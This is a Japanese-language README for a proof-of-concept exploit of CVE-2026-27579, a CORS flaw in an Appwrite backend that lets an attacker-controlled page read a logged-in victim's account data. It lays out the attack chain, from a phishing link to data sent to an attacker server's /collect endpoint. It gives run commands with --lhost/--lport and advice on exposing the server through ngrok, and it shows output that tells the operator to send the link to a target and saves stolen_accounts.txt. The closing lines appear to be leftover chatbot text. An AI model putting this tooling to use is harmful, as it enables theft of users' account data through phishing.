
CVE-2026-27579 – 緩すぎる CORS による認証済みアカウントデータ漏洩
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
realtime-collaboration-platform で使用されている Appwrite バックエンドの深刻な CORS 設定ミスにより、攻撃者が制御するオリジンが、ログイン中の被害者から認証済みの機密ユーザーデータ(メールアドレス、ユーザー ID、MFA ステータスなど)を、資格情報付きクロスオリジンリクエスト経由で読み取ることができます。
Access-Control-Allow-Origin のリフレクション + Access-Control-Allow-Credentials: true を備えた /v1/account エンドポイントflowchart TD
A[Victim is logged in\nCollabPlatform / Appwrite] --> B[Victim visits attacker-controlled page\nphishing link / malvertising]
B --> C[Browser sends GET /v1/account\nwith session cookies credentials: 'include']
C --> D[Appwrite reflects arbitrary Origin\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[Browser allows JavaScript to read response\nemail, $id, mfa, name, ...]
F --> G[Data exfiltrated to attacker server\nPOST /collect]
G --> H[Attacker receives full account details]
--lhost と --lport をサポートpip install flask
# 基本的な使用方法
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# ドメイン / パブリック IP を使用する場合
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# パブリック公開用(推奨)
# 1. スクリプトを実行
# 2. ngrok を使用: ngrok http 8000
# 3. コード内の http://<lhost>:<lport> を ngrok URL に置き換える
# (または --lhost = your-ngrok-url.ngrok-free.app で再実行)
実行時の出力例:
[*] Starting malicious server → http://192.168.1.100:8000
[*] Send this link to the target:
http://192.168.1.100:8000/
被害者がログイン中にリンクを訪問 → データがターミナルに表示され、stolen_accounts.txt に保存されます
このコードは、教育目的、許可を得たセキュリティテスト、レッドチーム演習、および脆弱性研究のためにのみ提供されています。
明示的な書面による許可なしに、いかなるシステムや個人に対して不正に使用することは、ほとんどの法域で違法です(コンピュータ詐欺、不正アクセス、データ窃取、フィッシング関連法など)。
所有している環境、または正式なテスト許可を得た環境でのみ使用してください。
Mohammed Idrees Banyamer
セキュリティリサーチャー
ヨルダン
Instagram: @banyamer_security
これをそのまま README.md ファイルにコピー&ペーストしてください。
スクリーンショットの追加、バッジの色の変更、セクションの追加(デモ、緩和策など)、ライセンスバッジ / スター / フォークカウンターの追加などが必要な場合は、お知らせください。拡張できます。